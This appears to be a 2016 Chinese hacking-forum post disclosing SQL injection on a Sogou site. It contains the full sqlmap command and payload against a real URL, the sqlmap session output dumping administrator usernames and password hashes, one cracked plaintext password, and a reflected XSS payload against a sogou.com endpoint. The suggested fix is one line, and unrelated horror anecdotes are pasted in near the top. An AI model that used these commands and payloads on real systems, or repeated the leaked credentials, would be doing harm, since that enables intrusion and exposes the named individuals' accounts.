HanDs
NO.2

[7月漏洞公开] 搜狗某站SQL注入可读系统文件 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

给你们讲点恐怖故事,身体不适请不要看,未成年请在父母的陪伴下观看。



------------------------------------------
一:加班太晚了,想点个宵夜,就打电话给外卖送到xxx办公室,外卖的人却说这地方昨天不是发生火灾被烧没了么?
二:半夜看到一个人吊在窗户上,打开灯一看原来是挂着的衣服,转身关灯看到镜子窗户上真的有个人。
三:去朋友家玩,朋友不在家,他妈妈热情留我下来吃饭,他妈妈一边做菜一边转头对我笑,我无意中看到隔壁房间里摆放着一张遗照,是朋友的妈妈,我刚要跑,她的妈妈还在做菜,但是脖子绕道了我脸边问我爱吃什么菜


-----------

详细说明:

code 区域
$ python sqlmap.py -u "http://union.app.sogou.com/index.php/aa.php?s=/Index/login" --data "username=CasterJs*&=CasterJs&product=&password=CasterJs" --sql-shell
_
___ ___| |_____ ___ ___ {1.0.3.9#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:41:19

custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[15:41:21] [INFO] resuming back-end DBMS 'mysql'
[15:41:22] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=CasterJs' AND (SELECT * FROM (SELECT(SLEEP(5)))YcPJ) AND 'wEGB'='wEGB&=CasterJs&product=&password=CasterJs
---
[15:41:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[15:41:22] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select adminname,password from admin
[15:41:42] [INFO] fetching SQL SELECT statement query output: 'select adminname,password from admin'
[15:41:42] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind
[15:41:42] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[15:41:43] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions
[15:41:53] [INFO] heuristics detected web page charset 'ascii'
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
2
[15:42:17] [INFO] adjusting time delay to 1 second due to good response times
5
the SQL query provided can return 25 entries. How many entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
>
[15:42:23] [INFO] retrieved:
[15:42:55] [WARNING] turning off pre-connect mechanism because of connection time out(s)
laijinhai
[15:43:29] [INFO] retrieved: D4A36363043096
[15:44:28] [ERROR] invalid character detected. retrying..
[15:44:28] [WARNING] increasing time delay to 2 seconds
[15:44:34] [ERROR] invalid character detected. retrying..
[15:44:34] [WARNING] increasing time delay to 3 seconds
C895C159F8F9D935B1
[15:47:28] [INFO] retrieved: huxiaojuan
[15:49:38] [INFO] retrieved: DCB4C2150EF893ECE86E29F33
[15:54:18] [ERROR] invalid character detected. retrying..
[15:54:18] [WARNING] increasing time delay to 4 seconds
0687953
[15:56:12] [INFO] retrieved: yushanzh
[15:58:34] [INFO] retrieved: 14D9FF5BB66E25BD26DF59DB767F3
[16:05:22] [ERROR] invalid character detected. retrying..
[16:05:22] [WARNING] increasing time delay to 5 seconds
C75
[16:06:54] [INFO] retrieved: xujing







找不到后台很尴尬。。。。



huxiaojuan 密码 shaojuan





可以读取系统文件



读取系统文件.png



漏洞证明:

送你们一枚主站的反射xss



https://www.sogou.com/websearch/renzheng.jsp



post data: url="><img src=x onerror=alert(1)>&domain=saber.com.ve.ipaddress.com&level=400



zhuzhan.png

修复方案:

过滤转义加waf


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
搜狗
#1楼
发帖时间:2016-7-14   |   查看数:0   |   回复数:0
游客组